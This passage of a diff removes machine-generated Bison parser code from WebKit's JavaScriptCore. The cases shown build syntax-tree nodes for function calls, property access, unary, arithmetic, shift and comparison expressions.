-    { (yyval.expressionNode) = makeFunctionCallNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode), (yyvsp[(2) - (2)].argumentsNode), (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column); ;}
-    break;
-
-  case 53:
-
-/* Line 1455 of yacc.c  */
-#line 457 "../../JavaScriptCore/parser/Grammar.y"
-    { BracketAccessorNode* node = new (GLOBAL_DATA) BracketAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_node, (yyvsp[(3) - (4)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(1) - (4)]).first_column, (yylsp[(1) - (4)]).last_column, (yylsp[(4) - (4)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (4)].expressionNode).m_features | (yyvsp[(3) - (4)].expressionNode).m_features, (yyvsp[(1) - (4)].expressionNode).m_numConstants + (yyvsp[(3) - (4)].expressionNode).m_numConstants); 
-                                        ;}
-    break;
-
-  case 54:
-
-/* Line 1455 of yacc.c  */
-#line 461 "../../JavaScriptCore/parser/Grammar.y"
-    { DotAccessorNode* node = new (GLOBAL_DATA) DotAccessorNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, *(yyvsp[(3) - (3)].ident));
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(1) - (3)]).last_column, (yylsp[(3) - (3)]).last_column);
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants); 
-                                        ;}
-    break;
-
-  case 55:
-
-/* Line 1455 of yacc.c  */
-#line 468 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.argumentsNode) = createNodeInfo<ArgumentsNode*>(new (GLOBAL_DATA) ArgumentsNode(GLOBAL_DATA), 0, 0); ;}
-    break;
-
-  case 56:
-
-/* Line 1455 of yacc.c  */
-#line 469 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.argumentsNode) = createNodeInfo<ArgumentsNode*>(new (GLOBAL_DATA) ArgumentsNode(GLOBAL_DATA, (yyvsp[(2) - (3)].argumentList).m_node.head), (yyvsp[(2) - (3)].argumentList).m_features, (yyvsp[(2) - (3)].argumentList).m_numConstants); ;}
-    break;
-
-  case 57:
-
-/* Line 1455 of yacc.c  */
-#line 473 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.argumentList).m_node.head = new (GLOBAL_DATA) ArgumentListNode(GLOBAL_DATA, (yyvsp[(1) - (1)].expressionNode).m_node);
-                                          (yyval.argumentList).m_node.tail = (yyval.argumentList).m_node.head;
-                                          (yyval.argumentList).m_features = (yyvsp[(1) - (1)].expressionNode).m_features;
-                                          (yyval.argumentList).m_numConstants = (yyvsp[(1) - (1)].expressionNode).m_numConstants; ;}
-    break;
-
-  case 58:
-
-/* Line 1455 of yacc.c  */
-#line 477 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.argumentList).m_node.head = (yyvsp[(1) - (3)].argumentList).m_node.head;
-                                          (yyval.argumentList).m_node.tail = new (GLOBAL_DATA) ArgumentListNode(GLOBAL_DATA, (yyvsp[(1) - (3)].argumentList).m_node.tail, (yyvsp[(3) - (3)].expressionNode).m_node);
-                                          (yyval.argumentList).m_features = (yyvsp[(1) - (3)].argumentList).m_features | (yyvsp[(3) - (3)].expressionNode).m_features;
-                                          (yyval.argumentList).m_numConstants = (yyvsp[(1) - (3)].argumentList).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants; ;}
-    break;
-
-  case 64:
-
-/* Line 1455 of yacc.c  */
-#line 495 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 65:
-
-/* Line 1455 of yacc.c  */
-#line 496 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 67:
-
-/* Line 1455 of yacc.c  */
-#line 501 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 68:
-
-/* Line 1455 of yacc.c  */
-#line 502 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePostfixNode(GLOBAL_DATA, (yyvsp[(1) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(1) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(1) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(1) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 69:
-
-/* Line 1455 of yacc.c  */
-#line 506 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeDeleteNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).last_column, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 70:
-
-/* Line 1455 of yacc.c  */
-#line 507 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) VoidNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants + 1); ;}
-    break;
-
-  case 71:
-
-/* Line 1455 of yacc.c  */
-#line 508 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeTypeOfNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 72:
-
-/* Line 1455 of yacc.c  */
-#line 509 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 73:
-
-/* Line 1455 of yacc.c  */
-#line 510 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpPlusPlus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 74:
-
-/* Line 1455 of yacc.c  */
-#line 511 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 75:
-
-/* Line 1455 of yacc.c  */
-#line 512 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makePrefixNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node, OpMinusMinus, (yylsp[(1) - (2)]).first_column, (yylsp[(2) - (2)]).first_column + 1, (yylsp[(2) - (2)]).last_column), (yyvsp[(2) - (2)].expressionNode).m_features | AssignFeature, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 76:
-
-/* Line 1455 of yacc.c  */
-#line 513 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) UnaryPlusNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 77:
-
-/* Line 1455 of yacc.c  */
-#line 514 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeNegateNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 78:
-
-/* Line 1455 of yacc.c  */
-#line 515 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeBitwiseNotNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 79:
-
-/* Line 1455 of yacc.c  */
-#line 516 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LogicalNotNode(GLOBAL_DATA, (yyvsp[(2) - (2)].expressionNode).m_node), (yyvsp[(2) - (2)].expressionNode).m_features, (yyvsp[(2) - (2)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 85:
-
-/* Line 1455 of yacc.c  */
-#line 530 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeMultNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 86:
-
-/* Line 1455 of yacc.c  */
-#line 531 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeDivNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 87:
-
-/* Line 1455 of yacc.c  */
-#line 532 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ModNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 89:
-
-/* Line 1455 of yacc.c  */
-#line 538 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeMultNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 90:
-
-/* Line 1455 of yacc.c  */
-#line 540 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeDivNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 91:
-
-/* Line 1455 of yacc.c  */
-#line 542 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) ModNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 93:
-
-/* Line 1455 of yacc.c  */
-#line 547 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAddNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 94:
-
-/* Line 1455 of yacc.c  */
-#line 548 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeSubNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 96:
-
-/* Line 1455 of yacc.c  */
-#line 554 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeAddNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 97:
-
-/* Line 1455 of yacc.c  */
-#line 556 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeSubNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 99:
-
-/* Line 1455 of yacc.c  */
-#line 561 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeLeftShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 100:
-
-/* Line 1455 of yacc.c  */
-#line 562 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 101:
-
-/* Line 1455 of yacc.c  */
-#line 563 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) UnsignedRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 103:
-
-/* Line 1455 of yacc.c  */
-#line 568 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeLeftShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 104:
-
-/* Line 1455 of yacc.c  */
-#line 569 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(makeRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 105:
-
-/* Line 1455 of yacc.c  */
-#line 570 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) UnsignedRightShiftNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 107:
-
-/* Line 1455 of yacc.c  */
-#line 575 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 108:
-
-/* Line 1455 of yacc.c  */
-#line 576 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 109:
-
-/* Line 1455 of yacc.c  */
-#line 577 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 110:
-
-/* Line 1455 of yacc.c  */
-#line 578 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 111:
-
-/* Line 1455 of yacc.c  */
-#line 579 "../../JavaScriptCore/parser/Grammar.y"
-    { InstanceOfNode* node = new (GLOBAL_DATA) InstanceOfNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 112:
-
-/* Line 1455 of yacc.c  */
-#line 582 "../../JavaScriptCore/parser/Grammar.y"
-    { InNode* node = new (GLOBAL_DATA) InNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 114:
-
-/* Line 1455 of yacc.c  */
-#line 589 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 115:
-
-/* Line 1455 of yacc.c  */
-#line 590 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 116:
-
-/* Line 1455 of yacc.c  */
-#line 591 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 117:
-
-/* Line 1455 of yacc.c  */
-#line 592 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterEqNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 118:
-
-/* Line 1455 of yacc.c  */
-#line 594 "../../JavaScriptCore/parser/Grammar.y"
-    { InstanceOfNode* node = new (GLOBAL_DATA) InstanceOfNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature);
-                                          setExceptionLocation(node, (yylsp[(1) - (3)]).first_column, (yylsp[(3) - (3)]).first_column, (yylsp[(3) - (3)]).last_column);  
-                                          (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(node, (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 120:
-
-/* Line 1455 of yacc.c  */
-#line 601 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) LessNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 121:
-
-/* Line 1455 of yacc.c  */
-#line 602 "../../JavaScriptCore/parser/Grammar.y"
-    { (yyval.expressionNode) = createNodeInfo<ExpressionNode*>(new (GLOBAL_DATA) GreaterNode(GLOBAL_DATA, (yyvsp[(1) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_node, (yyvsp[(3) - (3)].expressionNode).m_features & AssignFeature), (yyvsp[(1) - (3)].expressionNode).m_features | (yyvsp[(3) - (3)].expressionNode).m_features, (yyvsp[(1) - (3)].expressionNode).m_numConstants + (yyvsp[(3) - (3)].expressionNode).m_numConstants); ;}
-    break;
-
-  case 122:
-
-/* Line 1455 of yacc.c  */
-#line 603 "../../JavaScriptCore/parser/Grammar.y"
